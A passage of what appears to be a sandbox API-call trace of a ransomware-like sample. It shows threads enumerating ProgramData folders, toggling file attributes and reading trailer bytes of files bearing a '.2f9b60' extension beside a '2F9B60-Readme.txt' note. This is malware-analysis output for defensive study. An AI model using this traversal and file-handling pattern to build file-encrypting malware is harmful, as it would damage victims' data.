Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat")) returned 0x20 [0159.357] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat", dwFileAttributes=0x20) returned 1 [0159.357] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0159.358] GetLastError () returned 0x20 [0159.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8) returned 0x1b7d3400 [0159.358] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0159.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0159.358] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1ced2fe0, Size=0x90) returned 0x4205d9b0 [0159.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cdb72f0 [0159.359] wcscpy (in: _Dest=0x1cdb72f0, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" [0159.359] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat", dwFileAttributes=0x20) returned 1 [0159.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ed10) returned 1 [0159.360] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1 [0159.360] wcscmp (_String1="qmgr1.dat", _String2=".") returned 1 [0159.360] wcscmp (_String1="qmgr1.dat", _String2="..") returned 1 [0159.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ed10 [0159.360] wcscpy (in: _Dest=0x1b85ed10, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0159.360] wcscat (in: _Dest=0x1b85ed10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0159.360] wcscat (in: _Dest=0x1b85ed10, _Source="qmgr1.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr1.dat" [0159.360] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ed10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f20 [0159.360] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x1ce58c60 | out: lpFindFileData=0x1ce58c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0x0, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 0 [0159.361] FindClose (in: hFindFile=0x1b8585b0 | out: hFindFile=0x1b8585b0) returned 1 [0159.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58c60) returned 1 [0159.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0xeb450) returned 1 [0159.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e1e0) returned 1 Thread: id = 1925 os_tid = 0x10d8 [0134.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20508950 [0134.121] wcscpy (in: _Dest=0x20508950, _Source="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0134.121] wcscat (in: _Dest=0x20508950, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0134.121] wcscat (in: _Dest=0x20508950, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*" [0134.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57dc0 [0134.121] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*", lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfba46970, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xfba46970, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858490 [0134.122] wcscmp (_String1=".", _String2=".") returned 0 [0134.122] FindNextFileW (in: hFindFile=0x1b858490, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfba46970, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xfba46970, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.122] wcscmp (_String1="..", _String2=".") returned 1 [0134.122] wcscmp (_String1="..", _String2="..") returned 0 [0134.122] FindNextFileW (in: hFindFile=0x1b858490, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfba46970, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xfba46970, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xfba46970, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0134.122] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0134.122] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0134.122] FindNextFileW (in: hFindFile=0x1b858490, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x403b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="382cd28d2.2f9b60", cAlternateFileName="382CD2~1.2F9")) returned 1 [0134.122] wcscmp (_String1="382cd28d2.2f9b60", _String2=".") returned 1 [0134.122] wcscmp (_String1="382cd28d2.2f9b60", _String2="..") returned 1 [0134.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106b80 [0134.122] wcscpy (in: _Dest=0x106b80, _Source="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0134.122] wcscat (in: _Dest=0x106b80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0134.122] wcscat (in: _Dest=0x106b80, _Source="382cd28d2.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60" [0151.490] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\382cd28d2.2f9b60")) returned 0x2020 [0151.490] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60", dwFileAttributes=0x20) [0194.909] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\382cd28d2.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1268 [0194.909] GetFileSizeEx (in: hFile=0x1268, lpFileSize=0x2e7cf720 | out: lpFileSize=0x2e7cf720*=263092) returned 1 [0194.909] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x403b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.909] ReadFile (in: hFile=0x1268, lpBuffer=0x2e7cf6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e7cf6e8, lpOverlapped=0x0 | out: lpBuffer=0x2e7cf6a0*, lpNumberOfBytesRead=0x2e7cf6e8*=0x4, lpOverlapped=0x0) returned 1 [0194.910] FlushFileBuffers (hFile=0x1268) returned 1 [0197.691] CloseHandle (hObject=0x1268) returned 1 [0197.691] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\382cd28d2.2f9b60", dwFileAttributes=0x2020) returned 1 [0207.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106b80) returned 1 [0207.808] FindNextFileW (in: hFindFile=0x1b858490, lpFindFileData=0x1ce57dc0 | out: lpFindFileData=0x1ce57dc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9de525d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2caa5f40, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x403b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="382cd28d2.2f9b60", cAlternateFileName="382CD2~1.2F9")) returned 0 [0207.809] FindClose (in: hFindFile=0x1b858490 | out: hFindFile=0x1b858490) returned 1 [0207.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57dc0) returned 1 [0207.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508950) returned 1 [0207.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afe80) returned 1 Thread: id = 1926 os_tid = 0x10dc [0134.148] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\f9fef7602a.2f9b60")) returned 0x2020 [0134.148] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60", dwFileAttributes=0x20) returned 1 [0134.149] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\f9fef7602a.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd4 [0134.149] GetFileSizeEx (in: hFile=0x1bd4, lpFileSize=0x1d8cfd60 | out: lpFileSize=0x1d8cfd60*=4627739) returned 1 [0134.149] SetFilePointerEx (in: hFile=0x1bd4, liDistanceToMove=0x469d17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.149] ReadFile (in: hFile=0x1bd4, lpBuffer=0x1d8cfce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d8cfd28, lpOverlapped=0x0 | out: lpBuffer=0x1d8cfce0*, lpNumberOfBytesRead=0x1d8cfd28*=0x4, lpOverlapped=0x0) returned 1 [0134.150] FlushFileBuffers (hFile=0x1bd4) returned 1 [0138.533] CloseHandle (hObject=0x1bd4) returned 1 [0138.533] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\f9fef7602a.2f9b60", dwFileAttributes=0x2020) returned 1 [0139.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862300) returned 1 Thread: id = 1927 os_tid = 0x10e0 [0134.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1b859090 [0134.187] wcscpy (in: _Dest=0x1b859090, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0134.187] wcscat (in: _Dest=0x1b859090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0134.187] wcscat (in: _Dest=0x1b859090, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*" [0134.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58510 [0134.187] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858d30 [0134.188] wcscmp (_String1=".", _String2=".") returned 0 [0134.188] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.188] wcscmp (_String1="..", _String2=".") returned 1 [0134.188] wcscmp (_String1="..", _String2="..") returned 0 [0134.188] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1ce58510 | out: lpFindFileData=0x1ce58510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0134.188] wcscmp (_String1="Applications", _String2=".") returned 1 [0134.188] wcscmp (_String1="Applications", _String2="..") returned 1 [0134.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85ea90 [0134.188] wcscpy (in: _Dest=0x1b85ea90, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0134.189] wcscat (in: _Dest=0x1b85ea90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0134.189] wcscat (in: _Dest=0x1b85ea90, _Source="Applications" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" [0151.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868840 [0151.491] wcscpy (in: _Dest=0x1b868840, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" [0151.491] wcscat (in: _Dest=0x1b868840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\" [0151.491] wcscat (in: _Dest=0x1b868840, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*" [0151.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce59620 [0151.491] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86bb0 [0151.491] wcscmp (_String1=".", _String2=".") returned 0 [0151.491] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.491] wcscmp (_String1="..", _String2=".") returned 1 [0151.491] wcscmp (_String1="..", _String2="..") returned 0 [0151.491] FindNextFileW (in: hFindFile=0x1cd86bb0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0151.491] wcscmp (_String1="Windows", _String2=".") returned 1 [0151.491] wcscmp (_String1="Windows", _String2="..") returned 1 [0151.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b86bc10 [0151.492] wcscpy (in: _Dest=0x1b86bc10, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" [0151.492] wcscat (in: _Dest=0x1b86bc10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\" [0151.492] wcscat (in: _Dest=0x1b86bc10, _Source="Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0151.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b86a980 [0151.492] wcscpy (in: _Dest=0x1b86a980, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0151.492] wcscat (in: _Dest=0x1b86a980, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0151.492] wcscat (in: _Dest=0x1b86a980, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*" [0151.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56f20 [0151.492] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\*", lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd867f0 [0151.493] wcscmp (_String1=".", _String2=".") returned 0 [0151.493] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29612a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29612a20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.493] wcscmp (_String1="..", _String2=".") returned 1 [0151.493] wcscmp (_String1="..", _String2="..") returned 0 [0151.493] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config", cAlternateFileName="")) returned 1 [0151.493] wcscmp (_String1="Config", _String2=".") returned 1 [0151.493] wcscmp (_String1="Config", _String2="..") returned 1 [0151.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205088b0 [0151.494] wcscpy (in: _Dest=0x205088b0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0151.494] wcscat (in: _Dest=0x205088b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0151.494] wcscat (in: _Dest=0x205088b0, _Source="Config" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" [0151.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507f50 [0151.494] wcscpy (in: _Dest=0x20507f50, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config" [0151.494] wcscat (in: _Dest=0x20507f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\" [0151.494] wcscat (in: _Dest=0x20507f50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*" [0151.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce582a0 [0151.494] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Config\\*", lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86130 [0151.495] wcscmp (_String1=".", _String2=".") returned 0 [0151.495] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, 